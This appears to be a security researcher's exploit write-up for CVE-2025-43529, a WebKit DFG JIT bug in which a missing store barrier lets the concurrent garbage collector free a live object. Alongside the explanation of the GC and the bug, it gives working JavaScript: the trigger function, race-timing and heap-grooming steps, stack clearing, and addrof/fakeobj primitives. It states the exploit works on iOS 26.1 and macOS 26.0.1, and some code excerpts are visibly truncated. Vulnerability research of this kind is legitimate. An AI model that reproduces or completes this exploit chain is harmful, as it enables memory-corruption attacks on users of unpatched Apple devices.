## https://sploitus.com/exploit?id=5537A1A9-5E8B-581D-95B3-AAE5B10571E3
# CVE-2025-43529
## TL; DR
Apple recently shipped iOS 26.2 and iPadOS 26.2, along with a security advisory that includes fixes for WebKit vulnerabilities. One bug in the DFG JIT compiler (CVE-2025-43529) stood out, so I decided to dig into it.
The JIT compiler correctly recognized that a Phi node (where multiple control-flow paths merge) had escaped, but it failed to notice that the Phi's Upsilon nodes had also escaped. Because of that, the DFG compilation `StoreBarrierInsertionPhase` skipped inserting a Store Barrier, which is a key memory-safety mechanism. As a result, the concurrent GC can miss objects it should have scanned, which can lead to a use-after-free.
You can find the patch commit [here](https://github.com/WebKit/WebKit/commit/b21a503).
I have confirmed my exploit works on iOS 26.1, iPadOS 26.1 and macOS Tahoe 26.0.1.
## Background
### Generational GC
JSC uses a generational GC model to manage the heap efficiently. In this model, memory is split into Eden (new space) and old space based on object age. All newly allocated objects start in Eden. When Eden fills up, an Eden GC is triggered and any surviving objects are promoted to old space. Cleaning up old space objects requires a full GC.
To make generational GC work, the GC needs to classify objects as "already scanned", "needs scanning" or "needs rescanning".
In JSC, this is tracked using an object's `cellState`. (All GC managed objects inherit from `JSCell`.)
```cpp
StructureID m_structureID;
union {
uint32_t m_blob;
struct {
IndexingType m_indexingTypeAndMisc;
JSType m_type;
TypeInfo::InlineTypeFlags m_flags;
CellState m_cellState;
};
};
```
`cellState` is 1 byte and can be one of three colors: `Black` (0), `White` (1), and `Grey` (2).
White means an object that has just been allocated in eden. In the current GC cycle, it hasn't been marked yet. If it stays in this state until the end of the GC cycle, the object will be collected.
Black means the GC has already finished marking the object or is in the process of marking it. It's basically treated as alive, although the `isMarked` bit might still be off.
Grey means an object that still needs to be scanned. More precisely, it was originally Black, but it got caught by the write barrier and added to the remembered set. In other words, its references changed, so the GC needs to scan it again.
### Concurrent GC
JSC has also Concurrent GC, which lets the application run while memory is being reclaimed. If the GC is marking an object in the background and the application changes that object's state at the same time, you can end up with a race condition.
To prevent this, you need ordering guarantees. Like "write (store) A, then read (load) B" happening in that exact order. But on ARM64, for performance reasons, the CPU can reorder memory operations. That means the GC could read the wrong value.
So JSC uses a [dependency class](https://github.com/WebKit/WebKit/blob/main/Source/WTF/wtf/Atomics.h#L359) to rely on the CPU's data dependencies or it uses special ARM64 instructions like `STLR` and `LDAR` to enforce ordering. `STLR` ensures earlier reads/writes become visible before the store (a release store). `LDAR` ensures later reads/writes can't move ahead of the load (an acquire load). When another thread reads an object, `LDAR` is paired with `STLR` so it can safely observe the most recent data.
`DMB` isn't a single special instruction for one access. It's a barrier that forces ordering across all memory accesses around it. It ensures memory operations before the `DMB` become visible before operations after it.
### JSC JIT
JSC has three JIT tiers in total.
To balance execution speed against compilation cost (memory/time), it applies optimizations and moves code to the next tier based on how frequently it runs.
* Tier 1: Baseline JIT
* Tier 2: DFG JIT
* Tier 3: FTL JIT
Baseline JIT is is the first JIT compiler. It focuses on getting to native code fast with a low compile overhead.
DFG JIT is the next stage after Baseline JIT, where serious optimization starts.
At the DFG tier, JavaScript instructions are converted into a graph made up of DFG IR nodes. Using the type information it gathers, the compiler performs speculation to remove unnecessary operations.
In JSC's DFG optimization pipeline, the `StoreBarrierInsertionPhase` inserts a `StoreBarrier` after nodes that write to memory, like `PutByOffset`.
`CVE-2025-43529` is a vulnerability caused by failing to insert a `StoreBarrier` when it should have been inserted during `StoreBarrierInsertionPhase`.
A `StoreBarrier` is a node that acts like a write barrier. It's used to preserve correctness in races with the marking thread.
## Trigger Bug
The vulnerable DFG node scenario described in the patch commit looks like this:
```
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
Branch(BB#2, BB#3)
BB#2
...
d: Something
e: Upsilon(@d, ^f)
Jump(BB#3)
BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...
```
In `BB#1`, two new objects are created, and execution branches to either `BB#2` or `BB#3`. `BB#2` then falls through into `BB#3`. The interesting part in `BB#3` is the Phi node. It means `f` is either `c` or `e`, and that choice is determined by the upstream Upsilon nodes. In `BB#3`, `PutByOffset` means adding a value to an object's property.
### Simplified PoC
```javascript
let A = { p0: 0x41414141 };
function jitme(flag) {
// BB#1
let a = { p0: 13.37 };
let b = { p0: 0x42424242 };
let f;
if (flag) {
// BB#2
f = b;
} else {
// BB#3
f = 1.1; // d
}
// BB#4
A.p0 = f;
b.p0 = a;
}
```
If you use the `--dumpFTLDisassembly=true` option, you can inspect the assembly after FTL compilation.
```
// Starting BB#3
0 3 60: D@46: Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
1 3 60: D@53: ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
2 3 60: D@57: ExitOK(MustGen, W:SideState, bc#50, ExitValid)
3 3 60: D@63: KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
4 3 60: D@60: ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
5 3 60: D@67: KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
6 3 60: D@66: ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
7 3 60: D@69: FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, ), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
8 3 60: D@70: PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)
// StoreBarrier for D@65(A)
9 3 60: D@78: FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
10 3 60: D@73: FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, ), W:SideState, bc#72, ExitValid)
// D@36 : b
// D@26 : a
// b.p0 = a
11 3 60: D@75: PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
12 3 60: D@71: Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)
```
Because of the bug, the StoreBarrier for `b` was not emitted.
The object `A` lives in old space. In the first `PutByOffset` (`A.p0 = f`), the old object `A` ends up pointing to the new object `f`. That means the marking thread can reach `f` through `A` at any point after that store. So if you later mutate `f`'s properties, a StoreBarrier must be inserted.
`f` (the Phi node) is treated as escaping, but the actual inputs that can flow into `f` (via Upsilon: `b` and `d`) are not marked as escaping. Logically, if `f` is stored into `A`, then any object that could become `f` including `b` is effectively stored into `A` as well. But due to the bug, the compiler doesn't realize that, so it still thinks `b` is a non-escaping "safe" value that GC won't need to scan, and it ends up skipping the StoreBarrier.
### Race condition
To trigger the use-after-free, you have to succeed a race between the main thread and the marking thread. The scenario is as follows:
1. Concurrent marking (marking thread):
The marking thread reaches `b` by walking from the old space object `A`, and marks both `A` and `b` as black.
2. Reference update (main thread):
The main thread executes `b.p0 = a`. At this point, `a` is an Eden object that hasn't been marked yet, so it's still White. This creates a Black object pointing to a White object.
3. Missing store barrier:
Normally, `b` should be added to the remembered set. But because the store barrier is skipped due to the bug, the GC never learns that `b` now points to `a`. The GC cycle continues and if nothing else references `a`, it stays White the whole time and ends up getting freed.
4. End of the GC cycle:
After that, reading `b.p0` can touch freed memory, which can lead to a use-after-free.
### Race window
The hardest part of leveraging a race condition is hitting the race window. Objects `A` and `b` need to be marked within the same GC cycle. To line up the timing between the main thread and the marking thread, I used three techniques.
```javascript
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;
let A = {
p0: 0x41414141,
p1: 1.1,
p2: 2.2,
};
arr[arr_index] = A;
```
First, to secure the timing window until the scan for `A` begins, you need to make GC visit some children, I made `arr` large and placed `A` at the last index. One thing to watch out for here is that `A` needs to live in old space.
```javascript
let forGC = [];
let a = new Date(1);
a[0] = 1.1;
for (let j = 0; j (payloadBegin);
interval->makeLast(payloadEnd - payloadBegin, secret);
freeList->initialize(interval, secret, payloadEnd - payloadBegin);
}
return;
}
// ...
}
```
With the PoC, if sweep runs on the block that contains the butterfly after the race, `emptyMode`, `marksMode`, and `newlyAllocatedMode` become `IsEmpty`, `MarksStale`, and `DoesNotHaveNewlyAllocated`, respectively, so execution enters the `if` statement above.
With a normal sweep you'd need to build the free list in fragments, but here the entire block is empty, so the free list is initialized as one large interval covering the whole block. The `freeList` structure is very simple. It basically just tracks the start and end of the chunk and its size.
At this point, the `freeList` contains a whole block that includes the butterfly pointer.
```cpp
template
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
if (m_intervalStart (result);
}
// ...
}
```
Allocations from a `freeList` are handled by `FreeList::allocateWithCellSize`. If `m_intervalStart` and `m_intervalEnd` are not equal, the allocator treats the interval as having free cells available, returns the current start pointer as the address for the new object, and then advances the start pointer by `cellSize`.
This function is called from `JSC::constructArray`, and it gets hit repeatedly inside the loop. Eventually, a newly allocated array ends up using the freed butterfly address for its butterfly.
### Sweeping the Garbage
There are several reasons an exploit can fail, but one easy improvement is to get rid of the butterfly pointer that's left on the stack.
During butterfly allocation, the allocated pointer gets written to the stack repeatedly. If that pointer is still left behind even after calling the function that triggers the use-after-free, conservative stack scanning by the GC can pick it up and mark it, which prevents it from being freed and ends up "protecting" it like normal.
In the PoC, this was addressed by calling a function that creates a large number of stack frames.
```javascript
function recursive(n) {
if (n === 0)
return;
n = n | 0;
recursive(n - 1);
}
recursive(10000);
```
By calling the recursive function, the main thread fills its stack space with function frames, overwriting all leftover butterfly addresses with other values. After that, the butterfly pointer is less likely to be found during stack scanning, which increases the chances that the GC won't scan that butterfly.
### Build the primitives
```javascript
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;
function addrof(obj) {
boxed_arr[0] = obj;
return ftoi(unboxed_arr[0]);
}
function fakeobj(addr) {
unboxed_arr[0] = itof(addr);
return boxed_arr[0];
}
```
With the use-after-free, you can have the same butterfly in the freed object `a` as well as the newly allocated array. Then by making the two objects use different `IndexingType`s, you can access the values in this single butterfly in both `Double` and `Contiguous`. That leads directly to the classic `addrof` and `fakeobj` primitives.
## Next steps
If you've managed to build the `addrof`/`fakeobj` primitives, you can build read/write primitives easily. But in order to gain code execution, you still need to bypass pointer authentication. This part is left as the challenge.
## References
- [Understanding Garbage Collection in JavaScriptCore From Scratch](https://webkit.org/blog/12967/understanding-gc-in-jsc-from-scratch/)
- [About the security content of iOS 26.2 and iPadOS 26.2](https://support.apple.com/en-us/125884)